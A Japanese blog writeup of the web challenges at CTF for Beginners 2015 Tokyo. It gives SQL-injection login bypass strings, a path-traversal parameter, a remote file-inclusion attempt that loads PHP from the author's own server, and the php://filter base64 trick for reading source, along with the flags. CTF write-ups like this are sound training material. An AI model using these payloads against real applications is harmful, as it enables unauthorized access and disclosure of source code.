えるざっぷの日記

えるざっぷの日記とか

CTF for Beginners 2015 東京参加しました writeup


学内枠ということで参加させていただいた

ctf4b.doorkeeper.jp

2回目の参加ということで今回はこそはwriteup 書きたいと思いメモしながらやろうと思ったけどそんな余裕はなかった

Writeup

Web 100 Can you login as admin?

そのままの SQLi でパスワードフォームに ' OR '1 と入れる
ctf4b{SQLiNjec7ion_foR_beGInNer}

Web 200 Find the flag

Flag is hidden in the HTTP traffic.
と書いてあるので Developer Tools で通信を見てあげたらCookieにフラグがそのままのってた f:id:elzup:20150708142542p:plain

ctf4b{W3b200_Is_7oo_34sy_4_u?}

Web 300 1M4G3 V13W3R

画像のアップローダページからフラグを探す問題

画像以外のファイルをアップロードを試してみるがはじかれる

自分以外の参加者がアップした画像も表示されている事に気づいて「CTF だと自分にしか見えないページにフラグがある」という話を思い出す

Inspector で眺めてみると画像タグの href属性が ?link= で始まっているのでディレクトリトラバーサルの可能性があることに気づく

?link=index.php や ?link=../index.php で試したらヒットしてソースコード内に生フラグを見つけた
f:id:elzup:20150708142550p:plain

ctf4b{path_trav3rsal_1s_the_r3al_fun}

Web 400 SQL Injection Level2

「ユーザ名フォームはエスケープしてるよ。OR キーワードが使えないよ」と注意のある以外 Web100 と同じフォームが出てくる
しかもsubmit 時に実行されたSQL が表示されるというヒントつきで一瞬 xssな予感もした
とりあえず ' OORR '1 としてみたら通ってフラグが表示された

ctf4b{Y0u_pass3d_SQLi_Lv2}

Web500 Universal Web Page(笑)

解けなかった問題
url のgetパラメータに ?lang=en とかで言語指定していたのが怪しかったのでそこに適当な文字列を投げ込んでみたら PHP エラーを吐き出してくれた

include() していたので PHPファイル投げたら実行してくれるんじゃね?と直感する

<?php
var_dump(get_defined_vars());

こんな感じのファイルをドキュメントルートにおいたWeb サーバをローカル立ててダウンロード権限をつけて
lang=http://[割り振られたIP]/index.php でアクセスして試してるがだめだった

結局正規法は
?lang=php://filter/convert.base64-encode/resource=index.php
を使うという割と有名な脆弱性を使う方法だった
この記事は読んだことがあるしその場でググっても出てきたと思うのでちょっと試行錯誤する力が足りなかったと反省している

感想

特にバイナリやネットワークについては講習で初めて学んだ事が多々あってとても勉強になった。Wireshark の使い方や IDA の使い方とか役立つリンク集を知れて参加して良かった

今回は正直少し事前にwriteup 読んで予習したけど、全く歯がたたないなと感じた。バイナリはもう少し時間かければ解けてたかもって問題が合ったけど、ネットワーク問題は知識が決定的に足りないなと思った

あと ctf4b{This_communication_is_encrypted.} はすぐ出るけど間のパケットのnot_がzip されてて真のフラグは ctf4b{This_communication_is_not_encrypted.} になる問題は美しくてやられたなと思った  

TLでも神運営と騒がれてたけどイベントの運営さんや準備した方々お疲れ様でした!

次回の TDUCTF とか出来れば参加したいと思う